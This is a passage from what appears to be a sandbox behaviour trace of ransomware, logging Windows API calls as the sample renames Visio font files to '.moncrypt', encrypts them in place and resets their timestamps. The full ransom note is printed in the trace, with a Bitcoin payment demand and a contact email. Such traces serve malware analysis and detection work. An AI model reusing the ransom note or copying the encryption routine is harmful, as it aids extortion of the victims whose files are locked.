shared\\fonts\\gbcbig.shx.moncrypt")) returned 1 [0055.563] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\GBCBIG.SHX.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\gbcbig.shx.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0055.563] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0055.563] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0xdc6b9 [0055.563] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0055.563] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0055.565] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.565] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0055.566] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0055.566] GlobalUnlock (hMem=0x44000c) returned 0 [0055.566] GlobalReAlloc (hMem=0x44000c, dwBytes=0x4000, uFlags=0x2) returned 0x44000c [0055.566] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0055.566] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0055.566] GlobalUnlock (hMem=0x44000c) returned 0 [0055.566] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0055.566] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0055.566] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.567] GlobalUnlock (hMem=0x440004) returned 0 [0055.567] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0055.567] GlobalUnlock (hMem=0x44000c) returned 0 [0055.567] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.567] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.567] GlobalUnlock (hMem=0x44000c) returned 0 [0055.567] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0055.567] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.567] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.567] GlobalUnlock (hMem=0x44000c) returned 0 [0055.567] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0055.567] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0055.567] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0055.567] SetFilePointer (in: hFile=0x18c, lDistanceToMove=902841, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0xdc6b9 [0055.567] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0055.569] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0055.570] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d68*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d68*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0055.581] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0055.581] CloseHandle (hObject=0x18c) returned 1 [0055.594] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\GBCBIG.SHX.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\gbcbig.shx.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0055.594] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0055.594] CloseHandle (hObject=0x18c) returned 1 [0055.594] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\GBCBIG.SHX.moncrypt", dwFileAttributes=0x20) returned 1 [0055.595] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0055.595] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.595] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.595] GlobalUnlock (hMem=0x44000c) returned 0 [0055.595] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.595] GlobalLock (hMem=0x440004) returned 0x557b88 [0055.595] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.595] GlobalUnlock (hMem=0x44000c) returned 0 [0055.595] GlobalHandle (pMem=0x557b88) returned 0x440004 [0055.595] GlobalUnlock (hMem=0x440004) returned 0 [0055.595] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0055.595] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42429200, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x42429200, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x42429200, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0055.595] FileTimeToLocalFileTime (in: lpFileTime=0x18e7f0, lpLocalFileTime=0x18e770 | out: lpLocalFileTime=0x18e770) returned 1 [0055.595] FileTimeToDosDateTime (in: lpFileTime=0x18e770, lpFatDate=0x18e7be, lpFatTime=0x18e7bc | out: lpFatDate=0x18e7be, lpFatTime=0x18e7bc) returned 1 [0055.595] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0055.596] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0055.596] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0055.596] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0055.596] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0055.596] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0055.596] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0055.596] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0055.596] ReadFile (in: hFile=0x18c, lpBuffer=0x1dcc6d8, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18e9e8, lpOverlapped=0x0 | out: lpBuffer=0x1dcc6d8*, lpNumberOfBytesRead=0x18e9e8*=0x649, lpOverlapped=0x0) returned 1 [0055.596] CloseHandle (hObject=0x18c) returned 1 [0055.596] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2656900, ftCreationTime.dwHighDateTime=0x1c2706c, ftLastAccessTime.dwLowDateTime=0x820ca2e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2656900, ftLastWriteTime.dwHighDateTime=0x1c2706c, nFileSizeHigh=0x0, nFileSizeLow=0x2b01, dwReserved0=0x0, dwReserved1=0x0, cFileName="IC-TXT.SHX", cAlternateFileName="")) returned 1 [0055.596] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0055.596] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0055.596] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.596] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.597] GlobalUnlock (hMem=0x440004) returned 0 [0055.597] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.597] GlobalLock (hMem=0x44000c) returned 0x557b88 [0055.597] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.597] GlobalUnlock (hMem=0x440004) returned 0 [0055.597] GlobalHandle (pMem=0x557b88) returned 0x44000c [0055.597] GlobalUnlock (hMem=0x44000c) returned 0 [0055.597] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.597] CharLowerBuffW (in: lpsz="IC-TXT.SHX", cchLength=0xa | out: lpsz="ic-txt.shx") returned 0xa [0055.597] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.597] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.597] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.597] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.597] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.597] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.597] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.597] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="-", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-ê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.597] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.597] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.597] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0055.597] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\IC-TXT.SHX", cchWideChar=76, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\IC-TXT.SHXp", lpUsedDefaultChar=0x0) returned 76 [0055.598] CharLowerBuffW (in: lpsz=".SHX", cchLength=0x4 | out: lpsz=".shx") returned 0x4 [0055.598] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".shx", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".shxShared\\Visio Shared\\Fonts\\IC-TXT.SHXp", lpUsedDefaultChar=0x0) returned 4 [0055.598] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\IC-TXT.SHX", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2656900, ftCreationTime.dwHighDateTime=0x1c2706c, ftLastAccessTime.dwLowDateTime=0x820ca2e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2656900, ftLastWriteTime.dwHighDateTime=0x1c2706c, nFileSizeHigh=0x0, nFileSizeLow=0x2b01, dwReserved0=0x0, dwReserved1=0x0, cFileName="IC-TXT.SHX", cAlternateFileName="")) returned 0x54e240 [0055.598] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0055.598] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0055.598] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0055.598] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\IC-TXT.SHX", dwFileAttributes=0x20) returned 1 [0055.599] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0055.599] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\IC-TXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\ic-txt.shx"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\IC-TXT.SHX.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\ic-txt.shx.moncrypt")) returned 1 [0055.600] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\IC-TXT.SHX.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\ic-txt.shx.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0055.600] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0055.600] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x2b01 [0055.600] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0055.600] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x2b01, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x2b01, lpOverlapped=0x0) returned 1 [0055.608] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.608] GlobalLock (hMem=0x440004) returned 0x559b88 [0055.608] GlobalHandle (pMem=0x559b88) returned 0x440004 [0055.608] GlobalUnlock (hMem=0x440004) returned 0 [0055.608] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0055.608] GlobalLock (hMem=0x440004) returned 0x559b88 [0055.609] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.609] GlobalUnlock (hMem=0x44000c) returned 0 [0055.609] GlobalHandle (pMem=0x559b88) returned 0x440004 [0055.609] GlobalUnlock (hMem=0x440004) returned 0 [0055.609] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.609] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.609] GlobalUnlock (hMem=0x440004) returned 0 [0055.609] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0055.609] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.609] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.609] GlobalUnlock (hMem=0x440004) returned 0 [0055.609] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0055.609] WriteFile (in: hFile=0x18c, lpBuffer=0x1dc8e68*, nNumberOfBytesToWrite=0x2b20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dc8e68*, lpNumberOfBytesWritten=0x18e6f0*=0x2b20, lpOverlapped=0x0) returned 1 [0055.609] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0055.609] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d78*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d78*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0055.668] WriteFile (in: hFile=0x18c, lpBuffer=0x1dc8e88*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dc8e88*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0055.668] CloseHandle (hObject=0x18c) returned 1 [0055.669] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\IC-TXT.SHX.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\ic-txt.shx.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0055.670] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0055.670] CloseHandle (hObject=0x18c) returned 1 [0055.670] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\IC-TXT.SHX.moncrypt", dwFileAttributes=0x20) returned 1 [0055.670] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0055.670] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.670] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.670] GlobalUnlock (hMem=0x440004) returned 0 [0055.670] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.670] GlobalLock (hMem=0x44000c) returned 0x557b88 [0055.670] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.670] GlobalUnlock (hMem=0x440004) returned 0 [0055.670] GlobalHandle (pMem=0x557b88) returned 0x44000c [0055.670] GlobalUnlock (hMem=0x44000c) returned 0 [0055.670] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0055.671] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42429200, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x42429200, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x42429200, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0055.671] FileTimeToLocalFileTime (in: lpFileTime=0x18e7f0, lpLocalFileTime=0x18e770 | out: lpLocalFileTime=0x18e770) returned 1 [0055.671] FileTimeToDosDateTime (in: lpFileTime=0x18e770, lpFatDate=0x18e7be, lpFatTime=0x18e7bc | out: lpFatDate=0x18e7be, lpFatTime=0x18e7bc) returned 1 [0055.671] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0055.671] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0055.671] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0055.671] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0055.671] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0055.671] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0055.671] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0055.671] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0055.671] ReadFile (in: hFile=0x18c, lpBuffer=0x1dcc6d8, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18e9e8, lpOverlapped=0x0 | out: lpBuffer=0x1dcc6d8*, lpNumberOfBytesRead=0x18e9e8*=0x649, lpOverlapped=0x0) returned 1 [0055.671] CloseHandle (hObject=0x18c) returned 1 [0055.672] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, 